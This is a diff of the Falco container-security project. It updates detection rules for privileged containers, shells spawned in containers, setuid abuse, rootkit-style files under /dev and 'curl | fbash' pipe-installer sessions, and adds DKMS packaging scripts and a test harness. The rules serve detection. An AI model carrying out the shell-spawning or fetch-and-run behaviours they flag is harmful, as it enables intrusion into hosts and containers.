+              (container.image startswith sysdig/falco and
+               not container.image startswith sysdig/falco-event-generator) or
+              container.image startswith quay.io/sysdig or
+              container.image startswith sysdig/sysdig or
+              container.image startswith gcr.io/google_containers/hyperkube or
+              container.image startswith quay.io/coreos/flannel or
+              container.image startswith gcr.io/google_containers/kube-proxy)
+
+# These containers are ones that are known to spawn lots of
+# shells. Generally, they are for systems where the container is used
+# as a packaging mechanism more than for a dedicated microservice.
+- macro: shell_spawning_containers
+  condition: (container.image startswith jenkins or
+              container.image startswith gitlab/gitlab-ce)
+
+- rule: Launch Privileged Container
+  desc: Detect the initial process started in a privileged container. Exceptions are made for known trusted images.
+  condition: evt.type=execve and proc.vpid=1 and container and container.privileged=true and not trusted_containers
+  output: Privileged container started (user=%user.name command=%proc.cmdline %container.info)
+  priority: INFO
+  tags: [container, cis]
+
+- macro: sensitive_mount
+  condition: (container.mount.dest[/proc*] != "N/A")
+
+- rule: Launch Sensitive Mount Container
+  desc: >
+    Detect the initial process started by a container that has a mount from a sensitive host directory
+    (i.e. /proc). Exceptions are made for known trusted images.
+  condition: evt.type=execve and proc.vpid=1 and container and sensitive_mount and not trusted_containers
+  output: Container with sensitive mount started (user=%user.name command=%proc.cmdline %container.info)
+  priority: INFO
+  tags: [container, cis]
 
 # Anything run interactively by root
 # - condition: evt.type != switch and user.name = root and proc.name != sshd and interactive
 #  output: "Interactive root (%user.name %proc.name %evt.dir %evt.type %evt.args %fd.name)"
 #  priority: WARNING
 
-- rule: system_user_interactive
+- rule: System user interactive
   desc: an attempt to run interactive commands by a system (i.e. non-login) user
-  condition: spawn_process and system_users and interactive
+  condition: spawned_process and system_users and interactive
   output: "System user ran an interactive command (user=%user.name command=%proc.cmdline)"
-  priority: WARNING
+  priority: INFO
+  tags: [users]
 
-- rule: run_shell_in_container
-  desc: an attempt to spawn a shell by a non-shell program in a container. Container entrypoints are excluded.
-  condition: container and proc.name = bash and evt.dir=< and evt.type=execve and proc.pname exists and not proc.pname in (bash, docker)
-  output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
-  priority: WARNING
+- rule: Terminal shell in container
+  desc: A shell was spawned by a program in a container with an attached terminal.
+  condition: >
+    spawned_process and container
+    and shell_procs and proc.tty != 0
+  output: >
+    A shell was spawned in a container with an attached terminal (user=%user.name %container.info
+    shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty)
+  priority: NOTICE
+  tags: [container, shell]
+
+# For some container types (mesos), there isn't a container image to
+# work with, and the container name is autogenerated, so there isn't
+# any stable aspect of the software to work with. In this case, we
+# fall back to allowing certain command lines.
+- list: known_container_shell_spawn_cmdlines
+  items: [
+    '"bash -c curl -f localhost:$API_PORT/admin/healthcheck"',
+    '"sh -c curl http://localhost:6060/debug/vars>/dev/null "',
+    '"sh -c curl http://localhost:6060/debug/vars>/dev/null"',
+    '"sh -c  curl http://localhost:6060/debug/vars>/dev/null"',
+    '"sh -c  curl http://localhost:6060/debug/vars>/dev/null "',
+    '"sh -c  pgrep java && exit 0 || exit 1 "',
+    '"sh -c uname -p 2> /dev/null"',
+    '"sh -c  echo healthy "',
+    '"sh -c  echo alive "'
+    ]
+
+- rule: Run shell in container
+  desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded.
+  condition: >
+    spawned_process and container
+    and shell_procs
+    and proc.pname exists
+    and not proc.pname in (shell_binaries, make_binaries, docker_binaries, k8s_binaries,
+                           lxd_binaries, mesos_slave_binaries, aide_wrapper_binaries, nids_binaries,
+                           monitoring_binaries, gitlab_binaries, initdb, pg_ctl, awk, falco, cron,
+                           erl_child_setup, ceph, PM2)
+    and not trusted_containers
+    and not shell_spawning_containers
+    and not proc.cmdline in (known_container_shell_spawn_cmdlines)
+  output: >
+    Shell spawned in a container other than entrypoint (user=%user.name %container.info
+    shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)
+  priority: NOTICE
+  tags: [container, shell]
 
 # sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets
-- rule: system_binaries_network_activity
+# systemd can listen on ports to launch things like sshd on demand
+- rule: System procs network activity
   desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
-  condition: (inbound or outbound) and (fd.sockfamily = ip and system_binaries)
-  output: "Known system binary sent/received network traffic (user=%user.name command=%proc.cmdline connection=%fd.name)"
-  priority: WARNING
+  condition: (fd.sockfamily = ip and system_procs) and (inbound or outbound) and not proc.name=systemd
+  output: >
+    Known system binary sent/received network traffic
+    (user=%user.name command=%proc.cmdline connection=%fd.name)
+  priority: NOTICE
+  tags: [network]
 
-- rule: ssh_error_syslog
-  desc: any ssh errors (failed logins, disconnects, ...) sent to syslog
-  condition: syslog and ssh_error_message and evt.dir = <
-  output: "sshd sent error message to syslog (error=%evt.buffer)"
-  priority: WARNING
+# With the current restriction on system calls handled by falco
+# (e.g. excluding read/write/sendto/recvfrom/etc, this rule won't
+# trigger).
+# - rule: Ssh error in syslog
+#   desc: any ssh errors (failed logins, disconnects, ...) sent to syslog
+#   condition: syslog and ssh_error_message and evt.dir = <
+#   output: "sshd sent error message to syslog (error=%evt.buffer)"
+#   priority: WARNING
 
-- rule: non_sudo_setuid
-  desc: an attempt to change users by calling setuid. sudo/su are excluded. user "root" is also excluded, as setuid calls typically involve dropping privileges.
-  condition: evt.type=setuid and evt.dir=> and not user.name=root and not userexec_binaries
-  output: "Unexpected setuid call by non-sudo, non-root program (user=%user.name command=%proc.cmdline uid=%evt.arg.uid)"
-  priority: WARNING
+- macro: somebody_becoming_themself
+  condition: ((user.name=nobody and evt.arg.uid=nobody) or
+              (user.name=www-data and evt.arg.uid=www-data))
 
-- rule: user_mgmt_binaries
-  desc: activity by any programs that can manage users, passwords, or permissions. sudo and su are excluded. Activity in containers is also excluded--some containers create custom users on top of a base linux distribution at startup.
-  condition: spawn_process and not proc.name in (su, sudo) and not container and (adduser_binaries or login_binaries or passwd_binaries or shadowutils_binaries)
-  output: "User management binary command run outside of container (user=%user.name command=%proc.cmdline)"
-  priority: WARNING
+# sshd, mail programs attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs
+- rule: Non sudo setuid
+  desc: >
+    an attempt to change users by calling setuid. sudo/su are excluded. users "root" and "nobody"
+    suing to itself are also excluded, as setuid calls typically involve dropping privileges.
+  condition: >
+    evt.type=setuid and evt.dir=> and
+    not user.name=root and not somebody_becoming_themself
+    and not proc.name in (userexec_binaries, mail_binaries, docker_binaries,
+    sshd, dbus-daemon-lau, ping, ping6, critical-stack-)
+  output: >
+    Unexpected setuid call by non-sudo, non-root program (user=%user.name parent=%proc.pname
+    command=%proc.cmdline uid=%evt.arg.uid)
+  priority: NOTICE
+  tags: [users]
 
-# (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
-- rule: create_files_below_dev
+- rule: User mgmt binaries
+  desc: >
+    activity by any programs that can manage users, passwords, or permissions. sudo and su are excluded.
+    Activity in containers is also excluded--some containers create custom users on top
+    of a base linux distribution at startup.
+  condition: >
+    spawned_process and proc.name in (user_mgmt_binaries) and
+    not proc.name in (su, sudo) and not container and
+    not proc.pname in (cron_binaries, systemd, run-parts)
+  output: >
+    User management binary command run outside of container
+    (user=%user.name command=%proc.cmdline parent=%proc.pname)
+  priority: NOTICE
+  tags: [host, users]
+
+- list: allowed_dev_files
+  items: [
+    /dev/null, /dev/stdin, /dev/stdout, /dev/stderr,
+    /dev/random, /dev/urandom, /dev/console, /dev/kmsg
+    ]
+
+# (we may need to add additional checks against false positives, see:
+# https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
+- rule: Create files below dev
   desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
-  condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null
+  condition: >
+    fd.directory = /dev and
+    (evt.type = creat or (evt.type = open and evt.arg.flags contains O_CREAT))
+    and not proc.name in (dev_creation_binaries)
+    and not fd.name in (allowed_dev_files)
+    and not fd.name startswith /dev/tty
   output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
-  priority: WARNING
+  priority: ERROR
+  tags: [filesystem]
 
-# fs-bash is a restricted version of bash suitable for use in curl <curl> | sh installers.
-- rule: installer_bash_starts_network_server
-  desc: an attempt by any program that is a child of fs-bash to start listening for network connections
-  condition: evt.type=listen and proc.aname=fs-bash
-  output: "Unexpected listen call by a child process of fs-bash (command=%proc.cmdline)"
-  priority: WARNING
+# fbash is a small shell script that runs bash, and is suitable for use in curl <curl> | fbash installers.
+- rule: Installer bash starts network server
+  desc: an attempt by a program in a pipe installer session to start listening for network connections
+  condition: evt.type=listen and proc.sname=fbash
+  output: "Unexpected listen call by a process in a fbash session (command=%proc.cmdline)"
+  priority: NOTICE
+  tags: [network]
 
-- rule: installer_bash_starts_session
-  desc: an attempt by any program that is a child of fs-bash to start a new session (process group)
-  condition: evt.type=setsid and proc.aname=fs-bash
-  output: "Unexpected setsid call by a child process of fs-bash (command=%proc.cmdline)"
-  priority: WARNING
+- rule: Installer bash starts session
+  desc: an attempt by a program in a pipe installer session to start a new session
+  condition: evt.type=setsid and proc.sname=fbash
+  output: "Unexpected setsid call by a process in fbash session (command=%proc.cmdline)"
+  priority: NOTICE
+  tags: [process]
+
+- rule: Installer bash non https connection
+  desc: an attempt by a program in a pipe installer session to make an outgoing connection on a non-http(s) port
+  condition: proc.sname=fbash and outbound and not fd.sport in (80, 443, 53)
+  output: >
+    Outbound connection on non-http(s) port by a process in a fbash session
+    (command=%proc.cmdline connection=%fd.name)
+  priority: NOTICE
+  tags: [network]
+
+# It'd be nice if we could warn when processes in a fbash session try
+# to download from any nonstandard location? This is probably blocked
+# on https://github.com/draios/falco/issues/88 though.
+
+# Notice when processes try to run chkconfig/systemctl.... to install a service.
+# Note: this is not a WARNING, as you'd expect some service management
+# as a part of doing the installation.
+- rule: Installer bash manages service
+  desc: an attempt by a program in a pipe installer session to manage a system service (systemd/chkconfig)
+  condition: evt.type=execve and proc.name in (chkconfig, systemctl) and proc.sname=fbash
+  output: "Service management program run by process in a fbash session (command=%proc.cmdline)"
+  priority: INFO
+  tags: [software_mgmt]
+
+# Notice when processes try to run any package management binary within a fbash session.
+# Note: this is not a WARNING, as you'd expect some package management
+# as a part of doing the installation
+- rule: Installer bash runs pkgmgmt program
+  desc: an attempt by a program in a pipe installer session to run a package management binary
+  condition: evt.type=execve and package_mgmt_procs and proc.sname=fbash
+  output: "Package management program run by process in a fbash session (command=%proc.cmdline)"
+  priority: INFO
+  tags: [software_mgmt]
 
 ###########################
 # Application-Related Rules
@@ -317,13 +734,13 @@
 - macro: elasticsearch_port
   condition: elasticsearch_cluster_port or elasticsearch_api_port
 
-# - rule: elasticsearch_unexpected_network_inbound
+# - rule: Elasticsearch unexpected network inbound traffic
 #   desc: inbound network traffic to elasticsearch on a port other than the standard ports
 #   condition: user.name = elasticsearch and inbound and not elasticsearch_port
 #   output: "Inbound network traffic to Elasticsearch on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: elasticsearch_unexpected_network_outbound
+# - rule: Elasticsearch unexpected network outbound traffic
 #   desc: outbound network traffic from elasticsearch on a port other than the standard ports
 #   condition: user.name = elasticsearch and outbound and not elasticsearch_cluster_port
 #   output: "Outbound network traffic from Elasticsearch on unexpected port (connection=%fd.name)"
@@ -338,13 +755,13 @@
 - macro: activemq_port
   condition: activemq_web_port or activemq_cluster_port
 
-# - rule: activemq_unexpected_network_inbound
+# - rule: Activemq unexpected network inbound traffic
 #   desc: inbound network traffic to activemq on a port other than the standard ports
 #   condition: user.name = activemq and inbound and not activemq_port
 #   output: "Inbound network traffic to ActiveMQ on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: activemq_unexpected_network_outbound
+# - rule: Activemq unexpected network outbound traffic
 #   desc: outbound network traffic from activemq on a port other than the standard ports
 #   condition: user.name = activemq and outbound and not activemq_cluster_port
 #   output: "Outbound network traffic from ActiveMQ on unexpected port (connection=%fd.name)"
@@ -364,15 +781,18 @@
 - macro: cassandra_jmx_port
   condition: fd.sport=7199
 - macro: cassandra_port
-  condition: cassandra_thrift_client_port or cassandra_cql_port or cassandra_cluster_port or cassandra_ssl_cluster_port or cassandra_jmx_port
+  condition: >
+    cassandra_thrift_client_port or
+    cassandra_cql_port or cassandra_cluster_port or
+    cassandra_ssl_cluster_port or cassandra_jmx_port
 
-# - rule: cassandra_unexpected_network_inbound
+# - rule: Cassandra unexpected network inbound traffic
 #   desc: inbound network traffic to cassandra on a port other than the standard ports
 #   condition: user.name = cassandra and inbound and not cassandra_port
 #   output: "Inbound network traffic to Cassandra on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: cassandra_unexpected_network_outbound
+# - rule: Cassandra unexpected network outbound traffic
 #   desc: outbound network traffic from cassandra on a port other than the standard ports
 #   condition: user.name = cassandra and outbound and not (cassandra_ssl_cluster_port or cassandra_cluster_port)
 #   output: "Outbound network traffic from Cassandra on unexpected port (connection=%fd.name)"
@@ -393,13 +813,13 @@
 - macro: fluentd_forward_port
   condition: fd.sport=24224
 
-# - rule: fluentd_unexpected_network_inbound
+# - rule: Fluentd unexpected network inbound traffic
 #   desc: inbound network traffic to fluentd on a port other than the standard ports
 #   condition: user.name = td-agent and inbound and not (fluentd_forward_port or fluentd_http_port)
 #   output: "Inbound network traffic to Fluentd on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: tdagent_unexpected_network_outbound
+# - rule: Tdagent unexpected network outbound traffic
 #   desc: outbound network traffic from fluentd on a port other than the standard ports
 #   condition: user.name = td-agent and outbound and not fluentd_forward_port
 #   output: "Outbound network traffic from Fluentd on unexpected port (connection=%fd.name)"
@@ -407,7 +827,7 @@
 
 # Gearman ports
 # http://gearman.org/protocol/
-# - rule: gearman_unexpected_network_outbound
+# - rule: Gearman unexpected network outbound traffic
 #   desc: outbound network traffic from gearman on a port other than the standard ports
 #   condition: user.name = gearman and outbound and outbound and not fd.sport = 4730
 #   output: "Outbound network traffic from Gearman on unexpected port (connection=%fd.name)"
@@ -418,20 +838,20 @@
   condition: fd.sport = 2181
 
 # Kafka ports
-# - rule: kafka_unexpected_network_inbound
+# - rule: Kafka unexpected network inbound traffic
 #   desc: inbound network traffic to kafka on a port other than the standard ports
 #   condition: user.name = kafka and inbound and fd.sport != 9092
 #   output: "Inbound network traffic to Kafka on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
 # Memcached ports
-# - rule: memcached_unexpected_network_inbound
+# - rule: Memcached unexpected network inbound traffic
 #   desc: inbound network traffic to memcached on a port other than the standard ports
 #   condition: user.name = memcached and inbound and fd.sport != 11211
 #   output: "Inbound network traffic to Memcached on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: memcached_network_outbound
+# - rule: Memcached unexpected network outbound traffic
 #   desc: any outbound network traffic from memcached. memcached never initiates outbound connections.
 #   condition: user.name = memcached and outbound
 #   output: "Unexpected Memcached outbound connection (connection=%fd.name)"
@@ -448,21 +868,23 @@
 - macro: mongodb_webserver_port
   condition: fd.sport = 28017
 
-# - rule: mongodb_unexpected_network_inbound
+# - rule: Mongodb unexpected network inbound traffic
 #   desc: inbound network traffic to mongodb on a port other than the standard ports
-#   condition: user.name = mongodb and inbound and not (mongodb_server_port or mongodb_shardserver_port or mongodb_configserver_port or mongodb_webserver_port)
+#   condition: >
+#     user.name = mongodb and inbound and not (mongodb_server_port or
+#     mongodb_shardserver_port or mongodb_configserver_port or mongodb_webserver_port)
 #   output: "Inbound network traffic to MongoDB on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
 # MySQL ports
-# - rule: mysql_unexpected_network_inbound
+# - rule: Mysql unexpected network inbound traffic
 #   desc: inbound network traffic to mysql on a port other than the standard ports
 #   condition: user.name = mysql and inbound and fd.sport != 3306
 #   output: "Inbound network traffic to MySQL on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: http_server_unexpected_network_inbound
+# - rule: HTTP server unexpected network inbound traffic
 #   desc: inbound network traffic to a http server program on a port other than the standard ports
-#   condition: http_server_binaries and inbound and fd.sport != 80 and fd.sport != 443
+#   condition: proc.name in (http_server_binaries) and inbound and fd.sport != 80 and fd.sport != 443
 #   output: "Inbound network traffic to HTTP Server on unexpected port (connection=%fd.name)"
 #   priority: WARNING

scripts/CMakeLists.txt

@@ -1,5 +1,14 @@
-file(COPY ${PROJECT_SOURCE_DIR}/scripts/debian/falco
-	DESTINATION ${PROJECT_BINARY_DIR}/scripts/debian)
+configure_file(debian/postinst.in debian/postinst)
+configure_file(debian/prerm.in debian/prerm)
 
-file(COPY ${PROJECT_SOURCE_DIR}/scripts/rpm/falco
-	DESTINATION ${PROJECT_BINARY_DIR}/scripts/rpm)
+file(COPY "${PROJECT_SOURCE_DIR}/scripts/debian/falco"
+	DESTINATION "${PROJECT_BINARY_DIR}/scripts/debian")
+
+file(COPY "${PROJECT_SOURCE_DIR}/scripts/rpm/falco"
+	DESTINATION "${PROJECT_BINARY_DIR}/scripts/rpm")
+
+if(CMAKE_SYSTEM_NAME MATCHES "Linux")
+	install(PROGRAMS ${SYSDIG_DIR}/scripts/sysdig-probe-loader
+		DESTINATION ${FALCO_BIN_DIR}
+		RENAME falco-probe-loader)
+endif()

scripts/build-lpeg.sh

@@ -1,17 +1,29 @@
-#!/bin/sh
+#!/bin/bash
 
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcap.c -o lpcap.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcode.c -o lpcode.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpprint.c -o lpprint.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lptree.c -o lptree.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpvm.c -o lpvm.o
+set -ex
+
+PREFIX=$1
+
+if [ -z $PREFIX ]; then
+    PREFIX=.
+fi
+
+mkdir -p $PREFIX
+
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcap.c -o $PREFIX/lpcap.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcode.c -o $PREFIX/lpcode.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpprint.c -o $PREFIX/lpprint.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lptree.c -o $PREFIX/lptree.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpvm.c -o $PREFIX/lpvm.o
 
 
 # For building lpeg.so, which we don't need now that we're statically linking lpeg.a into falco
 #gcc -shared -o lpeg.so -L/usr/local/lib lpcap.o lpcode.o lpprint.o lptree.o lpvm.o
 #gcc -shared -o lpeg.so -L/usr/local/lib lpcap.o lpcode.o lpprint.o lptree.o lpvm.o
 
+pushd $PREFIX
 /usr/bin/ar cr lpeg.a lpcap.o lpcode.o lpprint.o lptree.o lpvm.o
 /usr/bin/ranlib lpeg.a
+popd
 
 chmod ug+w re.lua

scripts/debian/postinst

@@ -1,9 +0,0 @@
-#!/bin/sh
-set -e
-
-NAME=falco
-
-if [ -x "/etc/init.d/$NAME" ]; then
-        update-rc.d $NAME defaults >/dev/null
-fi
-

scripts/debian/postinst.in

@@ -0,0 +1,32 @@
+#!/bin/sh
+set -e
+
+DKMS_PACKAGE_NAME="@PACKAGE_NAME@"
+DKMS_VERSION="@PROBE_VERSION@"
+NAME="@PACKAGE_NAME@"
+
+postinst_found=0
+
+case "$1" in
+	configure)
+		for DKMS_POSTINST in /usr/lib/dkms/common.postinst /usr/share/$DKMS_PACKAGE_NAME/postinst; do
+			if [ -f $DKMS_POSTINST ]; then
+				$DKMS_POSTINST $DKMS_PACKAGE_NAME $DKMS_VERSION /usr/share/$DKMS_PACKAGE_NAME "" $2
+				postinst_found=1
+				break
+			fi
+		done
+		if [ "$postinst_found" -eq 0 ]; then
+			echo "ERROR: DKMS version is too old and $DKMS_PACKAGE_NAME was not"
+			echo "built with legacy DKMS support."
+			echo "You must either rebuild $DKMS_PACKAGE_NAME with legacy postinst"
+			echo "support or upgrade DKMS to a more current version."
+			exit 1
+		fi
+	;;
+esac
+
+if [ -x "/etc/init.d/$NAME" ]; then
+        update-rc.d $NAME defaults >/dev/null
+fi
+

scripts/debian/prerm

@@ -1,13 +0,0 @@
-#!/bin/sh
-set -e
-
-NAME=falco
-
-if [ -x "/etc/init.d/$NAME" ]; then
-		if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
-				invoke-rc.d $NAME stop || exit $?
-		else
-				/etc/init.d/$NAME stop || exit $?
-		fi
-fi
-

scripts/debian/prerm.in

@@ -0,0 +1,23 @@
+#!/bin/sh
+set -e
+
+NAME="@PACKAGE_NAME@"
+
+if [ -x "/etc/init.d/$NAME" ]; then
+		if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+				invoke-rc.d $NAME stop || exit $?
+		else
+				/etc/init.d/$NAME stop || exit $?
+		fi
+fi
+
+DKMS_PACKAGE_NAME="@PACKAGE_NAME@"
+DKMS_VERSION="@PROBE_VERSION@"
+
+case "$1" in
+	remove|upgrade|deconfigure)
+		if [  "$(dkms status -m $DKMS_PACKAGE_NAME -v $DKMS_VERSION)" ]; then
+			dkms remove -m $DKMS_PACKAGE_NAME -v $DKMS_VERSION --all
+		fi
+	;;
+esac

scripts/rpm/postinstall

@@ -1 +1,15 @@
+dkms add -m falco -v %{version} --rpm_safe_upgrade
+if [ `uname -r | grep -c "BOOT"` -eq 0 ] && [ -e /lib/modules/`uname -r`/build/include ]; then
+	dkms build -m falco -v %{version}
+	dkms install --force -m falco -v %{version}
+elif [ `uname -r | grep -c "BOOT"` -gt 0 ]; then
+	echo -e ""
+	echo -e "Module build for the currently running kernel was skipped since you"
+	echo -e "are running a BOOT variant of the kernel."
+else
+	echo -e ""
+	echo -e "Module build for the currently running kernel was skipped since the"
+	echo -e "kernel source for this kernel does not seem to be installed."
+fi
+
 /sbin/chkconfig --add falco

scripts/rpm/preuninstall

@@ -2,3 +2,5 @@ if [ $1 = 0 ]; then
 	/sbin/service falco stop > /dev/null 2>&1
 	/sbin/chkconfig --del falco
 fi
+
+dkms remove -m falco -v %{version} --all --rpm_safe_upgrade

test/confs/file_output.yaml

@@ -0,0 +1,27 @@
+# File containing Falco rules, loaded at startup.
+rules_file: /etc/falco_rules.yaml
+
+# Whether to output events in json or text
+json_output: false
+
+# Send information logs to stderr and/or syslog Note these are *not* security
+# notification logs! These are just Falco lifecycle (and possibly error) logs.
+log_stderr: false
+log_syslog: false
+
+# Where security notifications should go.
+# Multiple outputs can be enabled.
+
+syslog_output:
+  enabled: false
+
+file_output:
+  enabled: true
+  filename: /tmp/falco_outputs/file_output.txt
+
+stdout_output:
+  enabled: true
+
+program_output:
+  enabled: false
+  program: mail -s "Falco Notification" someone@example.com

test/confs/program_output.yaml

@@ -0,0 +1,27 @@
+# File containing Falco rules, loaded at startup.
+rules_file: /etc/falco_rules.yaml
+
+# Whether to output events in json or text
+json_output: false
+
+# Send information logs to stderr and/or syslog Note these are *not* security
+# notification logs! These are just Falco lifecycle (and possibly error) logs.
+log_stderr: false
+log_syslog: false
+
+# Where security notifications should go.
+# Multiple outputs can be enabled.
+
+syslog_output:
+  enabled: false
+
+file_output:
+  enabled: false
+  filename: ./output.txt
+
+stdout_output:
+  enabled: true
+
+program_output:
+  enabled: true
+  program: cat > /tmp/falco_outputs/program_output.txt

test/cpu_monitor.sh

@@ -0,0 +1,9 @@
+#!/bin/bash
+
+SUBJ_PID=$1
+BENCHMARK=$2
+VARIANT=$3
+RESULTS_FILE=$4
+CPU_INTERVAL=$5
+
+top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent|test_mm)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE

test/falco_test.py

@@ -0,0 +1,396 @@
+#!/usr/bin/env python
+
+import os
+import re
+import json
+import sets
+import glob
+import shutil
+import subprocess
+
+from avocado import Test
+from avocado.utils import process
+from avocado.utils import linux_modules
+
+class FalcoTest(Test):
+
+    def setUp(self):
+        """
+        Load the sysdig kernel module if not already loaded.
+        """
+        self.falcodir = self.params.get('falcodir', '/', default=os.path.join(self.basedir, '../build'))
+
+        self.stdout_contains = self.params.get('stdout_contains', '*', default='')
+        self.stderr_contains = self.params.get('stderr_contains', '*', default='')
+        self.exit_status = self.params.get('exit_status', '*', default=0)
+        self.should_detect = self.params.get('detect', '*', default=False)
+        self.trace_file = self.params.get('trace_file', '*', default='')
+
+        if self.trace_file and not os.path.isabs(self.trace_file):
+            self.trace_file = os.path.join(self.basedir, self.trace_file)
+
+        self.json_output = self.params.get('json_output', '*', default=False)
+        self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
+
+        if not isinstance(self.rules_file, list):
+            self.rules_file = [self.rules_file]
+
+        self.rules_args = ""
+
+        for file in self.rules_file:
+            if not os.path.isabs(file):
+                file = os.path.join(self.basedir, file)
+            self.rules_args = self.rules_args + "-r " + file + " "
+
+        self.conf_file = self.params.get('conf_file', '*', default=os.path.join(self.basedir, '../falco.yaml'))
+        if not os.path.isabs(self.conf_file):
+            self.conf_file = os.path.join(self.basedir, self.conf_file)
+
+        self.run_duration = self.params.get('run_duration', '*', default='')
+
+        self.disabled_rules = self.params.get('disabled_rules', '*', default='')
+
+        if self.disabled_rules == '':
+            self.disabled_rules = []
+
+        if not isinstance(self.disabled_rules, list):
+            self.disabled_rules = [self.disabled_rules]
+
+        self.disabled_args = ""
+
+        for rule in self.disabled_rules:
+            self.disabled_args = self.disabled_args + "-D " + rule + " "
+
+        self.detect_counts = self.params.get('detect_counts', '*', default=False)
+        if self.detect_counts == False:
+            self.detect_counts = {}
+        else:
+            detect_counts = {}
+            for item in self.detect_counts:
+                for item2 in item:
+                    detect_counts[item2[0]] = item2[1]
+            self.detect_counts = detect_counts
+
+        self.rules_warning = self.params.get('rules_warning', '*', default=False)
+        if self.rules_warning == False:
+            self.rules_warning = sets.Set()
+        else:
+            self.rules_warning = sets.Set(self.rules_warning)
+
+        # Maps from rule name to set of evttypes
+        self.rules_events = self.params.get('rules_events', '*', default=False)
+        if self.rules_events == False:
+            self.rules_events = {}
+        else:
+            events = {}
+            for item in self.rules_events:
+                for item2 in item:
+                    events[item2[0]] = sets.Set(item2[1])
+            self.rules_events = events
+
+        if self.should_detect:
+            self.detect_level = self.params.get('detect_level', '*')
+
+            if not isinstance(self.detect_level, list):
+                self.detect_level = [self.detect_level]
+
+        self.package = self.params.get('package', '*', default='None')
+
+        if self.package == 'None':
+            # Doing this in 2 steps instead of simply using
+            # module_is_loaded to avoid logging lsmod output to the log.
+            lsmod_output = process.system_output("lsmod", verbose=False)
+
+            if linux_modules.parse_lsmod_for_module(lsmod_output, 'falco_probe') == {}:
+                self.log.debug("Loading falco kernel module")
+                process.run('insmod {}/driver/falco-probe.ko'.format(self.falcodir), sudo=True)
+
+        self.addl_docker_run_args = self.params.get('addl_docker_run_args', '*', default='')
+
+        self.copy_local_driver = self.params.get('copy_local_driver', '*', default=False)
+
+        # Used by possibly_copy_local_driver as well as docker run
+        self.module_dir = os.path.expanduser("~/.sysdig")
+
+        self.outputs = self.params.get('outputs', '*', default='')
+
+        if self.outputs == '':
+            self.outputs = {}
+        else:
+            outputs = []
+            for item in self.outputs:
+                for item2 in item:
+                    output = {}
+                    output['file'] = item2[0]
+                    output['line'] = item2[1]
+                    outputs.append(output)
+                    filedir = os.path.dirname(output['file'])
+                    # Create the parent directory for the trace file if it doesn't exist.
+                    if not os.path.isdir(filedir):
+                        os.makedirs(filedir)
+            self.outputs = outputs
+
+        self.disable_tags = self.params.get('disable_tags', '*', default='')
+
+        if self.disable_tags == '':
+            self.disable_tags=[]
+
+        self.run_tags = self.params.get('run_tags', '*', default='')
+
+        if self.run_tags == '':
+            self.run_tags=[]
+
+    def tearDown(self):
+        if self.package != 'None':
+            self.uninstall_package()
+
+    def check_rules_warnings(self, res):
+
+        found_warning = sets.Set()
+
+        for match in re.finditer('Rule ([^:]+): warning \(([^)]+)\):', res.stderr):
+            rule = match.group(1)
+            warning = match.group(2)
+            found_warning.add(rule)
+
+        self.log.debug("Expected warning rules: {}".format(self.rules_warning))
+        self.log.debug("Actual warning rules: {}".format(found_warning))
+
+        if found_warning != self.rules_warning:
+            self.fail("Expected rules with warnings {} does not match actual rules with warnings {}".format(self.rules_warning, found_warning))
+
+    def check_rules_events(self, res):
+
+        found_events = {}
+
+        for match in re.finditer('Event types for rule ([^:]+): (\S+)', res.stderr):
+            rule = match.group(1)
+            events = sets.Set(match.group(2).split(","))
+            found_events[rule] = events
+
+        self.log.debug("Expected events for rules: {}".format(self.rules_events))
+        self.log.debug("Actual events for rules: {}".format(found_events))
+
+        for rule in found_events.keys():
+            if found_events.get(rule) != self.rules_events.get(rule):
+                self.fail("rule {}: expected events {} differs from actual events {}".format(rule, self.rules_events.get(rule), found_events.get(rule)))
+
+    def check_detections(self, res):
+        # Get the number of events detected.
+        match = re.search('Events detected: (\d+)', res.stdout)
+        if match is None:
+            self.fail("Could not find a line 'Events detected: <count>' in falco output")
+
+        events_detected = int(match.group(1))
+
+        if not self.should_detect and events_detected > 0:
+            self.fail("Detected {} events when should have detected none".format(events_detected))
+
+        if self.should_detect:
+            if events_detected == 0:
